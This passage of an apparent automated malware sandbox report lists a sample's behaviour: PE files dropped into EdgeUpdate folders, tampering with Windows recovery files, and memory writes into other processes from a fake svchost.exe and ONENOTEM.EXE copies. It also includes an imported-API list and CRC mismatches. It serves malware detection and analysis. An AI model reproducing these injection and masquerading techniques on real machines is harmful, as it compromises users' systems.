"MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_zh-TW.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_af.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_as.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_az.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_bn-IN.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_bs.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ca-Es-VALENCIA.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_cy.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_eu.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_fr-CA.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ga.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_gd.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_gl.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ka.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_kk.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_km.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_kok.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_lb.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_lo.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_mi.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_mk.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_mt.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ne.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_nn.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_or.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_pa.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_quz.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sq.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sr-Cyrl-BA.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sr-Cyrl-RS.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sr-Latn-RS.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_tt.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeWebview2Setup.exe" wrote 4096 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ug.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "MicrosoftEdgeUpdate.exe" wrote 22872 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\EdgeUpdate\CopilotUpdate.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...72:Tb55,"ONENOTEM.EXE" marked "C:\Program Files (x86)\Microsoft\Edge\Application\ONENOTEM.EXE" for deletion "ONENOTEM.EXE" marked "C:\Program Files\Google\Chrome\Application\ONENOTEM.EXE" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_dqnqpsvr.g4i.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_zkczxhmf.2zi.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\7z.dll" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\7z.exe" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\MSTSCLib.dll" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\AxMSTSCLib.dll" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ffmpeg.exe" for deletion "MicrosoftEdgeWebview2Setup.exe" marked "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp" for deletion "MicrosoftEdgeUpdate.exe" marked "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\CopilotUpdate.exe" for deletion "MicrosoftEdgeUpdate.exe" marked "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\EdgeUpdate.dat" for deletion "MicrosoftEdgeUpdate.exe" marked "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\MicrosoftEdgeComRegisterShellARM64.exe" for deletion "MicrosoftEdgeUpdate.exe" marked "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\MicrosoftEdgeUpdate.exe" for deletion "MicrosoftEdgeUpdate.exe" marked "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\MicrosoftEdgeUpdateBroker.exe" for deletion "MicrosoftEdgeUpdate.exe" marked "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\MicrosoftEdgeUpdateComRegisterShell64.exe" for deletion "MicrosoftEdgeUpdate.exe" marked "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\MicrosoftEdgeUpdateCore.exe" for deletion "MicrosoftEdgeUpdate.exe" marked "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\MicrosoftEdgeUpdateOnDemand.exe" for deletion "MicrosoftEdgeUpdate.exe" marked "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\MicrosoftEdgeUpdateSetup.exe" for deletion "MicrosoftEdgeUpdate.exe" marked "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\msedgeupdate.dll" for deletion "MicrosoftEdgeUpdate.exe" marked "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\msedgeupdateres_af.dll" for deletion "MicrosoftEdgeUpdate.exe" marked "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\msedgeupdateres_am.dll" for deletion "MicrosoftEdgeUpdate.exe" marked "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\msedgeupdateres_ar.dll" for deletion "MicrosoftEdgeUpdate.exe" marked "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\msedgeupdateres_as.dll" for deletion "MicrosoftEdgeUpdate.exe" marked "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\msedgeupdateres_az.dll" for deletion73:T99d,"ONENOTEM.EXE" opened "C:\Program Files (x86)\Microsoft\Edge\Application\ONENOTEM.EXE" with delete access "ONENOTEM.EXE" opened "C:\masterkey_db" with delete access "ONENOTEM.EXE" opened "C:\Program Files\Google\Chrome\Application\ONENOTEM.EXE" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_dqnqpsvr.g4i.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_zkczxhmf.2zi.psm1" with delete access "ReAgentc.exe" opened "GLOBALROOT\device\harddisk0\partition1\Recovery\WindowsRE\Winre.wim" with delete access "ReAgentc.exe" opened "GLOBALROOT\device\harddisk0\partition1\Recovery\WindowsRE\boot.sdi" with delete access "ReAgentc.exe" opened "GLOBALROOT\device\harddisk0\partition1\Recovery\WindowsRE\ReAgent.xml" with delete access "ReAgentc.exe" opened "GLOBALROOT\device\harddisk0\partition1\Recovery\WindowsRE\ReCustomization.xml" with delete access "ReAgentc.exe" opened "GLOBALROOT\device\harddisk0\partition1\Recovery\WindowsRE\" with delete access "MicrosoftEdgeWebview2Setup.exe" opened "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp" with delete access "MicrosoftEdgeUpdate.exe" opened "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdate.exe" with delete access "MicrosoftEdgeUpdate.exe" opened "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\CopilotUpdate.exe" with delete access "MicrosoftEdgeUpdate.exe" opened "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdate.dll" with delete access "MicrosoftEdgeUpdate.exe" opened "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateCore.exe" with delete access "MicrosoftEdgeUpdate.exe" opened "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe" with delete access "MicrosoftEdgeUpdate.exe" opened "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeComRegisterShellARM64.exe" with delete access "MicrosoftEdgeUpdate.exe" opened "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\NOTICE.TXT" with delete access "MicrosoftEdgeUpdate.exe" opened "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\EdgeUpdate.dat" with delete access "MicrosoftEdgeUpdate.exe" opened "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_af.dll" with delete access "MicrosoftEdgeUpdate.exe" opened "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_am.dll" with delete access74:T458,"svchost.exe" claimed CRC 2396407 while the actual is CRC 2280568 "psuser_64.dll" claimed CRC 1719106 while the actual is CRC 463804 "psmachine_64.dll" claimed CRC 463804 while the actual is CRC 449257 "psmachine_arm64.dll" claimed CRC 449257 while the actual is CRC 420219 "psuser_arm64.dll" claimed CRC 420219 while the actual is CRC 460410 "psmachine.dll" claimed CRC 460410 while the actual is CRC 359152 "psuser.dll" claimed CRC 359152 while the actual is CRC 371030 "MicrosoftEdgeUpdateCore.exe" claimed CRC 371030 while the actual is CRC 282122 "MicrosoftEdgeUpdateComRegisterShell64.exe" claimed CRC 282122 while the actual is CRC 247984 "MicrosoftEdgeUpdate.exe" claimed CRC 247984 while the actual is CRC 238953 "MicrosoftEdgeComRegisterShellARM64.exe" claimed CRC 238953 while the actual is CRC 261847 "RPZ-HWID.exe" claimed CRC 261847 while the actual is CRC 201540 "MicrosoftEdgeUpdateOnDemand.exe" claimed CRC 125173 while the actual is CRC 143207 "RPZ-HWID.dll" claimed CRC 143207 while the actual is CRC 89302 "msedgeupdateres_ml.dll" claimed CRC 69854 while the actual is CRC 3938775:T492,VirtualProtect GetProcAddress LoadLibraryA WriteFile GetCommandLineW Sleep LoadLibraryExA TerminateProcess SleepConditionVariableSRW ExitThread GetTickCount64 FindResourceW GetSystemInfo GetStartupInfoW GetFileAttributesExW ReadProcessMemory LockResource GetFileSizeEx DeviceIoControl GetModuleHandleExW GetSystemDirectoryW FindNextFileW FindResourceExW OutputDebugStringA GetTickCount CopyFileW VirtualAlloc FindFirstFileW LoadLibraryExW FindFirstFileExW GetCommandLineA SleepConditionVariableCS CreateToolhelp32Snapshot GetDriveTypeW GetFileSize GetModuleHandleW GetNativeSystemInfo CreateProcessW GetVersionExW OpenProcess GetTempPathW UnhandledExceptionFilter OutputDebugStringW GetModuleFileNameA Process32FirstW GetTempFileNameW CreateFileW CreateThread DeleteFileW LoadLibraryW IsDebuggerPresent GetModuleFileNameW GetFileAttributesW Process32NextW GetComputerNameExW CreateDirectoryW RegOpenKeyExW RegCloseKey GetModuleHandleA GetStartupInfoA RegDeleteValueA SetSecurityDescriptorDacl RegCreateKeyExA RegOpenKeyExA MapViewOfFile CreateFileMappingW RegCreateKeyExW OpenProcessToken ShellExecuteW76:T1715,"conhost.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\SystemData\svchost.exe" (Handle: 944) "conhost.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\SystemData\svchost.exe" (Handle: 944) "conhost.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\SystemData\svchost.exe" (Handle: 944) "svchost.exe" wrote 00000FB8 bytes to a remote process "C:\Program Files (x86)\windows nt\ONENOTEM.EXE" (Handle: 1052) "svchost.exe" wrote 00000008 bytes to a remote process "C:\Program Files (x86)\windows nt\ONENOTEM.EXE" (Handle: 1052) "svchost.exe" wrote 00000004 bytes to a remote process "C:\Program Files (x86)\windows nt\ONENOTEM.EXE" (Handle: 1052) "svchost.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\svchost.exe" (Handle: 1344) "svchost.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\svchost.exe" (Handle: 1344) "ONENOTEM.EXE" wrote 00000FB8 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1052) "ONENOTEM.EXE" wrote 00000008 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1052) "ONENOTEM.EXE" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1052) "ONENOTEM.EXE" wrote 00000FB8 bytes to a remote process "C:\Program Files (x86)\Microsoft\Edge\Application\ONENOTEM.EXE" (Handle: 932) "ONENOTEM.EXE" wrote 00000008 bytes to a remote process "C:\Program Files (x86)\Microsoft\Edge\Application\ONENOTEM.EXE" (Handle: 932) "ONENOTEM.EXE" wrote 00000004 bytes to a remote process "C:\Program Files (x86)\Microsoft\Edge\Application\ONENOTEM.EXE" (Handle: 932) "ONENOTEM.EXE" wrote 00000FB8 bytes to a remote process "C:\Program Files\Google\Chrome\Application\ONENOTEM.EXE" (Handle: 1192) "ONENOTEM.EXE" wrote 00000008 bytes to a remote process "C:\Program Files\Google\Chrome\Application\ONENOTEM.EXE" (Handle: 1192) "ONENOTEM.EXE" wrote 00000004 bytes to a remote process "C:\Program Files\Google\Chrome\Application\ONENOTEM.EXE" (Handle: 1192) "powershell.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\SysWOW64\ReAgentc.exe" (Handle: 2884) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\SysWOW64\ReAgentc.exe" (Handle: 2884) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\ReAgentc.exe" (Handle: 2884) "MicrosoftEdgeWebview2Setup.exe" wrote 00000FB8 bytes to a remote process "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdate.exe" (Handle: 708) "MicrosoftEdgeWebview2Setup.exe" wrote 00000008 bytes to a remote process "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdate.exe" (Handle: 708) "MicrosoftEdgeWebview2Setup.exe" wrote 00000004 bytes to a remote process "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdate.exe" (Handle: 708) "MicrosoftEdgeUpdate.exe" wrote 00000FB8 bytes to a remote process "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" (Handle: 828) "MicrosoftEdgeUpdate.exe" wrote 00000008 bytes to a remote process "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" (Handle: 828) "MicrosoftEdgeUpdate.exe" wrote 00000004 bytes to a remote process "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" (Handle: 828) "MicrosoftEdgeUpdate.exe" wrote 00000FB8 bytes to a remote process "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" (Handle: 856) "MicrosoftEdgeUpdate.exe" wrote 00000008 bytes to a remote process "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" (Handle: 856) "MicrosoftEdgeUpdate.exe" wrote 00000004 bytes to a remote process "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" (Handle: 856) "MicrosoftEdgeUpdate.exe" wrote 00000FB8 bytes to a remote process "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" (Handle: 884) "MicrosoftEdgeUpdate.exe" wrote 00000008 bytes to a remote process "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" (Handle: 884) "MicrosoftEdgeUpdate.exe" wrote 00000004 bytes to a remote process "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" (Handle: 884) "MicrosoftEdgeUpdate.exe" wrote 00000FB8 bytes to a remote process "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" (Handle: 1200) "MicrosoftEdgeUpdate.exe" wrote 00000008 bytes to a remote process "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" (Handle: 1200) "MicrosoftEdgeUpdate.exe" wrote 00000004 bytes to a remote process "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" (Handle: 1200) "MicrosoftEdgeUpdate.exe" wrote 00000FB8 bytes to a remote process "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.251.5\MicrosoftEdgeUpdateComRegisterShell64.exe" (Handle: 712) "MicrosoftEdgeUpdate.exe" wrote 00000008 bytes to a remote process "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.251.5\MicrosoftEdgeUpdateComRegisterShell64.exe" (Handle: 712) "MicrosoftEdgeUpdate.exe" wrote 00000FB8 bytes to a remote process "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.251.5\MicrosoftEdgeUpdateComRegisterShell64.exe" (Handle: 716) "MicrosoftEdgeUpdate.exe" wrote 00000008 bytes to a remote process "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.251.5\MicrosoftEdgeUpdateComRegisterShell64.exe" (Handle: 716) "MicrosoftEdgeUpdate.exe" wrote 00000FB8 bytes to a remote process "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.251.5\MicrosoftEdgeUpdateComRegisterShell64.exe" (Handle: 720) "MicrosoftEdgeUpdate.exe" wrote 00000008 bytes to a remote process "C:\Program Files 